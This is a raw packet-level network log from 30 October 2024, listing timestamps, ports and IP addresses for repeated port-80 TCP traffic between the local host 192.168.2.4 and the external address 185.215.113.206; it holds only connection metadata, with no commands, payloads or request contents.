Oct 30, 2024 06:16:26.722677946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.722688913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.722704887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.722734928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.722734928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.723561049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.723679066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.723700047 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.723741055 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.755738974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.755754948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.755770922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.755831957 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.755831957 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.840926886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.840943098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.840954065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.840966940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.841006041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.841016054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.841037989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.841068029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.841078043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.841088057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.841099024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.841130972 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.841130972 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.841608047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.841619968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.841630936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.841665983 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.841665983 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.841970921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.841983080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.841995001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.842008114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.842034101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.842034101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.842072010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.842473984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.842542887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.843086958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.843223095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.874882936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.874902010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.874914885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.875025988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.875025988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.960119963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.960138083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.960149050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.960155964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.960160971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.960166931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.960174084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.960414886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.960464954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.960515976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.960525990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.960536003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.960547924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.960566998 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.960566998 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.960633993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.961045027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.961061001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.961075068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.961086035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.961096048 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.961096048 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.961107016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.961155891 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.961155891 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.961740971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.961782932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.961796999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.961849928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.994036913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.994070053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.994082928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:26.994111061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:26.994160891 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.080975056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.081012964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.081027031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.081094980 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.081095934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.081125975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.081135988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.081186056 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.081204891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.081217051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.081253052 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.081302881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.081314087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.081326962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.081338882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.081366062 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.081366062 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.082042933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.082075119 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.082086086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.082107067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.082107067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.082123995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.082144022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.082158089 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.082591057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.082648039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.082663059 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.082731962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.113178015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.113193989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.113202095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.113418102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.113459110 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.113459110 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.114501953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.114562988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.200216055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.200249910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.200257063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.200273037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.200279951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.200306892 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.200330973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.200341940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.200365067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.200375080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.200381994 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.200408936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.200551033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.200562000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.200572968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.200579882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.200609922 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.200875998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.200887918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.200900078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.200907946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.200923920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.200927973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.200942039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.200947046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.200964928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.200968981 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.232279062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.232292891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.232305050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.232316971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.232331991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.232338905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.232353926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.232368946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.232389927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.280400038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.280420065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.280435085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.280453920 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.280468941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.319211006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.319227934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.319240093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.319294930 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.319324970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.319418907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.319431067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.319447994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.319456100 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.319468975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.319474936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.319485903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.319499016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.319829941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.319839954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.319878101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.319974899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.319993973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.320008993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.320014000 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.320034027 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.320049047 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.320347071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.320358038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.320369005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.320390940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.320410967 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.351423979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.351442099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.351455927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.351495028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.351506948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.351524115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.351535082 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.351561069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.396775007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.396806955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.396819115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.396904945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.438406944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.438441992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.438455105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.438509941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.438522100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.438534975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.438560009 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.438566923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.438579082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.438591957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.438602924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.438652039 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.439119101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.439162970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.439182043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.439220905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.439317942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.439332008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.439343929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.439356089 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.439374924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.439385891 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.439646959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.439656973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.439688921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.470632076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.470674038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.470685959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.470698118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.470710993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.470746040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.470772982 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.515944958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.515957117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.515969038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.516108990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.557585955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.557602882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.557611942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.557616949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.557621956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.557723045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.557732105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.557746887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.557790041 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.557807922 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.557919025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.557929993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.557940960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.557966948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.557985067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.558226109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.558234930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.558293104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.558362961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.558372974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.558382988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.558410883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.558456898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.558473110 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.589703083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.589723110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.589756012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.589771986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.589782953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.589804888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.589822054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.589834929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.589844942 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.589878082 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.590179920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.590228081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.590236902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.590280056 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828162909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828192949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828207016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828217030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828238964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828253031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828262091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828262091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828274012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828289032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828294992 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828305006 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828310966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828319073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828327894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828341007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828347921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828360081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828373909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828383923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828393936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828402996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828412056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828429937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828438044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828445911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828457117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828468084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828475952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828489065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828495026 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828505993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828512907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828521013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828531981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828543901 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828550100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828562021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828568935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828586102 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828593969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828602076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828610897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828628063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828634024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828644037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828655958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828666925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828679085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828686953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828695059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828706026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828716040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828723907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828731060 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828746080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828753948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828763962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828774929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828783035 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828793049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828800917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828810930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828818083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828828096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828836918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828846931 CET	80	49758	185.215.113.206	192.168.2.4
